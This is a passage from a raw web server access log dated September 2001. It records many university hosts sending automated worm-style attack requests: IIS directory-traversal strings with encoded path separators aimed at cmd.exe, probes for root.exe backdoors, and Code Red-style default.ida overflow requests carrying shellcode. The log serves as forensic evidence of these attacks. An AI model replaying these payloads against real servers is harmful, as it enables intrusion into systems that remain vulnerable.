  7664. 20010919 01:52:44:  [61.75.4.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7665. 20010919 01:53:02:  [61.75.4.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7666. 20010919 01:53:21:  [61.75.4.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7667. 20010919 01:53:40: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7668. 20010919 01:57:08: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7669. 20010919 01:57:09: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7670. 20010919 01:57:09: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7671. 20010919 01:57:09: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7672. 20010919 01:57:10: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7673. 20010919 01:57:10: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7674. 20010919 01:57:11: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7675. 20010919 01:57:11: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7676. 20010919 01:57:11: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7677. 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7678. 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7679. 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7680. 20010919 01:57:12: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7681. 20010919 01:57:13: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7682. 20010919 01:57:13: VUKM11.UNI-MUENSTER.DE [128.176.142.195] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7683. 20010919 01:57:13: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7684. 20010919 01:58:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7685. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7686. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7687. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7688. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7689. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7690. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7691. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7692. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7693. 20010919 02:02:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7694. 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7695. 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7696. 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7697. 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7698. 20010919 02:02:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7699. 20010919 02:02:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7700. 20010919 02:02:08:  [202.4.254.158] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7701. 20010919 02:05:18:  [202.4.254.158] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7702. 20010919 02:05:37:  [202.4.254.158] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7703. 20010919 02:05:56:  [202.4.254.158] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7704. 20010919 02:06:14:  [202.4.254.158] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7705. 20010919 02:06:33:  [202.4.254.158] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7706. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7707. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7708. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7709. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7710. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7711. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7712. 20010919 02:06:52: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7713. 20010919 02:06:52:  [202.4.254.158] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7714. 20010919 02:07:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7715. 20010919 02:07:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7716. 20010919 02:07:11:  [202.4.254.158] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7717. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7718. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7719. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7720. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7721. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7722. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7723. 20010919 02:07:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7724. 20010919 02:07:30:  [202.4.254.158] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7725. 20010919 02:07:48:  [202.4.254.158] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7726. 20010919 02:08:07:  [202.4.254.158] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7727. 20010919 02:08:29:  [202.4.254.158] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7728. 20010919 02:08:48: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7729. 20010919 02:08:48:  [202.4.254.158] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7730. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7731. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7732. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7733. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7734. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7735. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7736. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7737. 20010919 02:09:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7738. 20010919 02:09:07:  [202.4.254.158] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7739. 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7740. 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7741. 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7742. 20010919 02:09:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7743. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7744. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7745. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7746. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7747. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7748. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7749. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7750. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7751. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7752. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7753. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7754. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7755. 20010919 02:09:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7756. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7757. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7758. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7759. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7760. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7761. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7762. 20010919 02:09:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7763. 20010919 02:09:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7764. 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7765. 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7766. 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7767. 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7768. 20010919 02:13:50: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7769. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7770. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7771. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7772. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7773. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7774. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7775. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7776. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7777. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7778. 20010919 02:13:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7779. 20010919 02:13:51: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7780. 20010919 02:15:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7781. 20010919 02:17:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7782. 20010919 02:22:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7783. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7784. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7785. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7786. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7787. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7788. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7789. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7790. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7791. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7792. 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7793. 20010919 02:23:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7794. 20010919 02:23:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7795. 20010919 02:23:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7796. 20010919 02:23:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7797. 20010919 02:23:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7798. 20010919 02:23:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7799. 20010919 02:23:50: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7800. 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7801. 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7802. 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7803. 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7804. 20010919 02:28:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7805. 20010919 02:28:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7806. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7807. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7808. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7809. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7810. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7811. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7812. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7813. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7814. 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7815. 20010919 02:28:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7816. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7817. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7818. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7819. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7820. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7821. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7822. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
